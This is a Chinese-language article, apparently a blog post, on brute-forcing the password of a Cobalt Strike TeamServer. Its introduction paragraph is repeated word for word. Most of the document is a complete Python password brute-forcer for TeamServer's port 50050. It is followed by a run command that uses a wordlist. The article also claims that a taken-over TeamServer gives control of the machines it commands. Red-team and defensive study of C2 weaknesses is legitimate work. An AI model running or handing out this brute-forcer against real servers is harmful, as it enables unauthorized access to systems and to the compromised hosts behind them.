CobaltStrike TeamServer口令暴力破解

Cobalt Strike是一款超级好用的渗透测试工具，拥有多种协议主机上线方式，集成了提权，凭据导出，端口转发，socket代理，office攻击，文件捆绑，钓鱼等多种功能。同时，Cobalt Strike还可以调用Mimikatz等其他知名工具，因此广受技术大佬的喜爱。Cobalt Strike是一款超级好用的渗透测试工具，拥有多种协议主机上线方式，集成了提权，凭据导出，端口转发，socket代理，office攻击，文件捆绑，钓鱼等多种功能。同时，Cobalt Strike还可以调用Mimikatz等其他知名工具，因此广受技术大佬的喜爱。

Cobalt Strike是由美国Red Team开发，官网地址：
http://cobaltstrike.com

这个工具的社区版是大家熟知的Armitage(一个MSF的图形化界面工具)，而Cobalt Strike大家可以理解其为Armitage的商业版。

TeamServer口令暴力破解

然而今天我们并不是介绍和讲解Cobalt Strike，而是关于Cobalt Strike的口令暴力破解，众所周知Cobalt Strike的工作方式是以TeamServer为核心，可多个Cilent的CS（Server Cilent）架构。

启动teamserver

sudo ./teamserver 192.168.0.102 123456

启动temaerver之后可以通过客户端连接连接服务器 默认的端口是50050 密码是123456 即可登录。

如果把teamserver放在公网上，口令设置薄弱 可以通过对其穷举有一定的几率获取 teamserver的权限，那么服务器里的被成功控制的机器，我们也可以对其控制。所以说危害是非常大的。

使用csbuster.py对50050端口进行密码穷举

#!/usr/bin/env python3
# -*- coding:gbk -*-
import time
import socket
import ssl
import argparse
import concurrent.futures
import sys

# csbrute.py - Cobalt Strike Team Server Password Brute Forcer

# https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-to-properly-require-a-minimal-python-versi

MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
    sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)

parser = argparse.ArgumentParser()

parser.add_argument("host",
                    help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
                    help="Newline-delimited word list file")
parser.add_argument("-p", dest="port", default=50050, type=int,
                    help="Teamserver port")
parser.add_argument("-t", dest="threads", default=25, type=int,
                    help="Concurrency level")

args = parser.parse_args()

# https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw-python-socket


class NotConnectedException(Exception):
    def __init__(self, message=None, node=None):
        self.message = message
        self.node = node


class DisconnectedException(Exception):
    def __init__(self, message=None, node=None):
        self.message = message
        self.node = node


class Connector:
    def __init__(self):
        self.sock = None
        self.ssl_sock = None
        self.ctx = ssl.SSLContext()
        self.ctx.verify_mode = ssl.CERT_NONE
        pass

    def is_connected(self):
        return self.sock and self.ssl_sock

    def open(self, hostname, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(10)
        self.ssl_sock = self.ctx.wrap_socket(self.sock)

        if hostname == socket.gethostname():
            ipaddress = socket.gethostbyname_ex(hostname)[2][0]
            self.ssl_sock.connect((ipaddress, port))
        else:
            self.ssl_sock.connect((hostname, port))

    def close(self):
        if self.sock:
            self.sock.close()
        self.sock = None
        self.ssl_sock = None

    def send(self, buffer):
        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
        self.ssl_sock.sendall(buffer)

    def receive(self):
        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
        received_size = 0
        data_buffer = b""

        while received_size < 4:
            data_in = self.ssl_sock.recv()
            data_buffer = data_buffer + data_in
            received_size += len(data_in)

        return data_buffer


def passwordcheck(password):
    if len(password) > 0:
        result = None
        conn = Connector()
        conn.open(args.host, args.port)
        payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(
            bytes(password, "ascii").ljust(256, b"A"))
        conn.send(payload)
        if conn.is_connected(): result = conn.receive()
        if conn.is_connected(): conn.close()
        if result == bytearray(b"\x00\x00\xca\xfe"):
            return password
        else:
            return False
    else:
        print("Ignored blank password")

passwords = []

if args.wordlist:
    print("Wordlist: {}".format(args.wordlist))
    passwords = open(args.wordlist).read().split("\n")
else:
    print("Wordlist: {}".format("stdin"))
    for line in sys.stdin:
        passwords.append(line.rstrip())

if len(passwords) > 0:

    print("Word Count: {}".format(len(passwords)))
    print("Threads: {}".format(args.threads))

    start = time.time()

    # https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python

    attempts = 0
    failures = 0

    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:

        future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
        for future in concurrent.futures.as_completed(future_to_check):
            password = future_to_check[future]
            try:
                data = future.result()
                attempts = attempts + 1
                if data:
                    print("Found Password: {}".format(password))
            except Exception as exc:
                failures = failures + 1
                print('%r generated an exception: %s' % (password, exc))

    print("Attempts: {}".format(attempts))
    print("Failures: {}".format(failures))
    finish = time.time()
    print("Seconds: {:.1f}".format(finish - start))
    print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
else:
    print("Password(s) required")

python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20

参考

https://mp.weixin.qq.com/s/_FVLXmZQi3Ab892pmenNxg